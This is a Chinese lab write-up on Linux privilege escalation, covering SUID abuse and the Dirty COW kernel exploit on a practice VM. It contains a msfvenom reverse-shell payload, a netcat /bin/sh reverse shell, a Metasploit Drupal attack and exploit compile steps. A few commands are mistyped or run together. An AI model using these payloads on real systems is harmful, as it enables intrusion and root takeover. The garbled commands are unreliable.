Linux提权相对于windows来说方法比较单一,主要提权方式为suid提权,内核提权,环境变量提权,计划任务提权,第三方服务提权,今天来记载一下关于suid提权以及内核脏牛提权,以及对目标linux信息收集的判断,以及漏洞探针。
在获取到Linux主机的普通shell权限后,我们可以手动收集目标主机的相关信息,但是手工使用起来效率不高,这里推荐两款信息收集与漏洞探针的自动化脚本,
信息收集:LinEnum.sh
漏洞探针:linux-exploit-suggster2
信息收集:LinEnum.sh
suid文件命令-用于suid提权思路
漏洞探针:linux-exploit-suggster2
msf生成linux后门监听文件: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.213.129 LPORT=4444 -f elf >/linux_shell 监听: use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.213.129 exp
首先了解suid与guid概念,所谓suid就是使用具有suid的文件时候,将可以以赋予suid权限命令的用户一样的权限去运行这个文件,好比如root给a文件赋予suid,当我们以普通泉下user去运行a也将以root权限运行该文件
guid的概念就是将suid里面user用户的权限更改为group组的盖帘
手工赋予suid权限:chmod u+s xxx
手工删除suid权限:suid u-s xxx
手工搜寻本机suid的命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
搜寻guid命令:
find / -perm -g=s -type f 2>/dev/null
suid提权就是使用具有suid的命令去执行其他命令,因为具有suid的命令具备root权限,从而实现突破普通权限,获取root权限去执行命令
一些常见的可以使用的suid命令提权
nmap
vim
less
more
nano
cp
mv
find
等等 …
例如-find提权:
touch 用户 find 用户 -exec whoami \; 反弹root权限shell find 用户 -exec netcat -lvp 5555 -e /bin/sh \; netcat xx.xx.xx.xx 5555
其他suid参考之前写的靶机文章:
http://www.kxsy.work/2021/07/19/shen-tou-dc-1/
http://www.kxsy.work/2021/07/23/shen-tou-dc-2/
suid提权网站参考:https://gtfobins.github.io/
首先信息收集,使用smf的search搜集ubuntu16.04版本的漏洞,因为这个版本存在内核漏洞可提权
注意知识点:下载的payload-exp可能是c编译,到linux无法执行
使用编码转换后运行:gcc 45010.c -o 45010
赋权:chmod +x 45010
执行:./45010
参考之前写的靶机DC-3文章:http://www.kxsy.work/2021/08/11/shen-tou-dc-3/
Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。
脏牛exp:https://github.com/gbonacini/CVE-2016-5195
脏牛检测脚本:https://github.com/aishee/scan-dirtycow/blob/master/dirtycowscan.sh
查看内核命令:uname -a
查看版本命令:lsb_release –a
一般情况靶机上面无法运行脏牛的提权文件,需要结果预编译后执行
g++编译.cpp文件为可执行文件:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutilgcc编译.c文件为可执行文件:
gcc -pthread dirty.c -o dirty -lcrypt
gcc 45010.c -o 45010
靶机LAMPIÃO: 1-脏牛提权:
提权思路:
获取IP-扫描端口获取web-爆破cms获取shell-上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功
提权过程:
nmap扫描存活IP: nmap 192.168.213.0/24 扫描端口nmap -p- 192.168.213.165
发现web端口,发现cms-drupal
使用msf搜索攻击模块
serach drupal
设置载荷攻击
use exploit/unix/webapp/drupal_drupalgeddon2 set payload php/meterpreter/reverse_tcp set rhosts 192.168.213.165 set rport 1898 exploit
获取普通shell
上传脏牛检测脚本,这里注意上传时候不要使用交互shell,以免上传失败
upload /home/dirtycowscan.sh /tmp/a.sh
赋予最高权限,执行脚本,检测可能存在藏牛提权
chmod 777 a.sh
上传脏牛exp-赋予执行权限因为文本为cpp的c编译文件,无法在linux上面运行,上传后需要编译后执行
chmod +x dcow 编译:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
执行提权
提权结束!
交流学习:
博客:www.kxsy.work
CSND社区:告白热